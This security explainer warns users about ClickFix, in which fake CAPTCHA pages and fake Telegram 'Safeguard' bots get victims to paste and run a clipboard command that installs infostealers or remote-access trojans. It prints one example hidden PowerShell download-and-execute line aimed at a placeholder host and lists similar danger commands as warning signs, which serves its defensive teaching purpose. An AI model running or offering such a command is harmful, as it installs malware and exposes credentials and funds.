ClickFix explained: the fake CAPTCHA that hijacks your PC

You click a link to join a call, or you land on a page that promises a file. Instead of loading, it shows a familiar-looking box: "Verify you are human." But this CAPTCHA is different. It says verification "failed to load automatically," and gives you three steps to fix it: press Windows + R, press Ctrl + V, press Enter. It reassures you — "this is a one-time browser fix, completely safe."

Here is what the page does not tell you. The moment it loaded, it silently copied a command onto your clipboard. Win + R opens the Run box. Ctrl + V pastes that hidden command. Enter runs it. In three keystrokes you have downloaded and executed an infostealer that scrapes your browser sessions, saved passwords, and crypto wallet extensions, then ships them to the attacker — all before you finish "joining the call."

This is ClickFix, and it has become one of the fastest-rising attacks on the internet. It is dangerous precisely because it feels like something you have done a hundred times: proving you are human. The genius, and the weakness, is that the browser cannot run the payload for the attacker. You have to do it yourself.

TL;DR

• ClickFix is a social-engineering attack: a fake CAPTCHA, "verify you are human," or "fix this error" page silently copies a command to your clipboard and tells you to paste it into Terminal or the Windows Run box.
• Running that command downloads and executes an infostealer — it lifts browser sessions, passwords, and wallet data, then beacons out.
• It is exploding: ESET's detection for ClickFix rose 517% between the second half of 2024 and the first half of 2025 (ESET).
• A common crypto variant is the fake Telegram "Safeguard" bot that pretends to gate a group behind "human verification" and drops a remote-access trojan.
• The one rule that kills it every time: no legitimate verification ever asks you to run a command. If a "human check" reaches for your terminal, it is the attack.

What is ClickFix?

ClickFix is a social-engineering technique that tricks you into running a malicious command yourself, disguised as fixing an error or passing a verification step. The name comes from the format: you are told to "click" through a few steps to "fix" something, and those steps quietly paste-and-run malware.

The mechanics are the same every time. A page or chat message shows a problem — a broken CAPTCHA, a document that "won't open," a group you "can't access yet." It offers a manual fix built from keyboard shortcuts: open a command box, paste, press Enter. What you are never told is that the "fix" was copied to your clipboard by the page itself, and it is a command that downloads and runs a remote payload. Because you type the keystrokes, the browser's own security sandbox is never involved — the attack walks straight around it.

ESET describes ClickFix as a fake error that "manipulates the victim into copying, pasting, and executing malicious commands," and it now spans Windows, macOS, and Linux (ESET). It is a form of phishing, but instead of stealing a password, it steals code execution on your machine.

Why is ClickFix suddenly everywhere?

Because it is cheap to run, hard to filter, and it outsources the risky step to the victim. Antivirus tools are good at catching a malicious download. They are far worse at catching you opening a terminal and typing a command, because that looks like normal user behavior. ClickFix exploits exactly that blind spot.

The numbers show how fast it is spreading. Between the second half of 2024 and the first half of 2025, ESET's telemetry for the ClickFix detection (HTML/FakeCaptcha) rose 517%, making it one of the most rapidly rising threats it tracks — nearly 8% of all blocked attacks in that period, second only to traditional phishing (ESET). When an attack grows five-fold in six months, it is because it works, and ClickFix works because it turns a security decision into what feels like a routine chore.

What does the ClickFix command actually do?

It downloads a script from the attacker's server and runs it immediately, usually in a hidden window so you never see it happen. On Windows, the clipboard payload typically looks something like this:

powershell -w hidden -c "iwr https://cdn.example.invalid/x.ps1 | iex"

Read left to right, it is brutally simple. powershell -w hidden launches PowerShell with no visible window. iwr (Invoke-WebRequest) fetches a script from a remote URL. The pipe into iex (Invoke-Expression) runs whatever comes back, in memory, right now. There is no file to inspect, no prompt, no second chance. On macOS the same idea is delivered as a Terminal one-liner using curl piped into a shell. Whatever the syntax, the goal is identical: pull down an infostealer and execute it with your account's privileges.

That stealer then does what stealers do — harvest saved browser passwords and session cookies, wallet extensions, and any seed phrase or key material it can find on disk — and sends it home. The single Enter press is the entire compromise.

What is the fake Telegram "Safeguard" bot?

It is the crypto-native version of ClickFix, aimed at people joining project communities. You click through to a project's Telegram group and, before you can see the chat, a verification bot — often styled "Safeguard" with a reassuring checkmark and an official-looking name — messages you. It claims automatic verification failed and walks you through the same Win + R, Ctrl + V, Enter sequence to "unlock the group." The clipboard is already loaded with a hidden PowerShell command that downloads and launches a remote-access trojan such as Remcos.

Security firm SlowMist documented this fake-Safeguard playbook and tied it to real losses: it reported that at least two victims lost over $3 million after being funneled through fake Safeguard-style verification and the malicious links behind it (SlowMist). The scam spreads through impersonated influencer accounts that reply under legitimate posts, pushing users into a group where the "verification" is waiting. The bot name and the checkmark are theater. No real Telegram group has ever needed access to your command line.

How do I protect myself from ClickFix?

You hold one rule, and it is absolute: no legitimate verification, CAPTCHA, or group-access check ever asks you to run a command. That single boundary defeats every variant, no matter how convincing the page or bot looks.

• Treat "open Terminal / press Win+R and paste" as the attack itself. A real human check runs in the browser. The instant a "verification" reaches for your keyboard shortcuts and clipboard, close it. There is nothing to fix.
• Never trust clipboard contents you did not copy. ClickFix works by pre-loading your clipboard. If you are told to paste "the fix that's already copied," that is a confession, not an instruction.
• Know the danger commands. iwr … | iex and powershell -w hidden on Windows, or curl … | sh on macOS, exist to download and run remote code silently. If a "fix" contains them, it is malware, full stop.
• Slow down when a page or bot manufactures urgency. "Verification failed, run it manually to unlock" exists only to push you past your own caution — the same engine behind every entry in the common crypto scams catalog.

If you have already pasted and run a command like this, assume the machine is compromised: move funds from any hot wallet using a different, clean device, rotate passwords, and revoke sessions. But the reflex to build now, before it ever happens, is simply this: a verification that needs your terminal is not a verification.

Related questions

Will a real CAPTCHA or "verify you are human" ever ask me to run a command? Never. Genuine human-verification runs entirely inside your browser — you tick a box, solve a puzzle, or it checks silently in the background. The moment a "verification" tells you to press Win+R, open Terminal, or paste something, it is ClickFix. That instruction is the single clearest sign you are being attacked, so close the page and move on.

What happens if I already pasted and ran the command? Assume your machine is compromised and act fast. The command most likely installed an infostealer that grabbed your browser sessions, saved passwords, and any wallet data on the device. Using a separate clean device, move funds out of any hot wallet, rotate your important passwords, and sign out of active sessions. Then treat the infected machine as untrusted until it is fully wiped.

Is the fake Telegram "Safeguard" bot the same thing as ClickFix? Yes — it is ClickFix wearing a crypto costume. The fake Safeguard bot pretends to gate a Telegram group behind "human verification," then walks you through the same paste-and-run steps to drop a remote-access trojan like Remcos. SlowMist tied this playbook to millions in losses (SlowMist). Real group access never touches your command line.

Why is ClickFix growing so fast? Because it slips past the tools built to stop malware. Antivirus catches suspicious downloads, but a user opening a terminal and typing a command looks like ordinary behavior, so ClickFix outsources the dangerous step to you. ESET measured a 517% jump in its ClickFix detections between late 2024 and early 2025 (ESET), which is what an attack that reliably works looks like as it scales.

How is ClickFix different from a fake job scam? They share a spine — both hand you the malware and get you to run it yourself — but the wrapper differs. The fake job crypto scam uses a take-home repo and npm install to fire the payload, while ClickFix uses a fake verification and a pasted command. Recognize the shared move — "run this thing I gave you, quickly" — and you can spot both.

Where to go next

ClickFix is not sophisticated code. It is a fake chore — verify you are human, unlock the group, fix the error — engineered to make you run the payload yourself, because the browser can't. The defense is one unbreakable rule: nothing legitimate ever asks you to open a terminal and paste a command.

The fastest way to make that reflex automatic is to face the prompt when nothing is at stake. The ClickFix drill in the academy's Human Layer track drops you into the fake CAPTCHA and the fake Safeguard bot and lets you make the call yourself. To see how this fits the wider playbook attackers run against you, read How Web3 users actually get hacked. Start the drill below.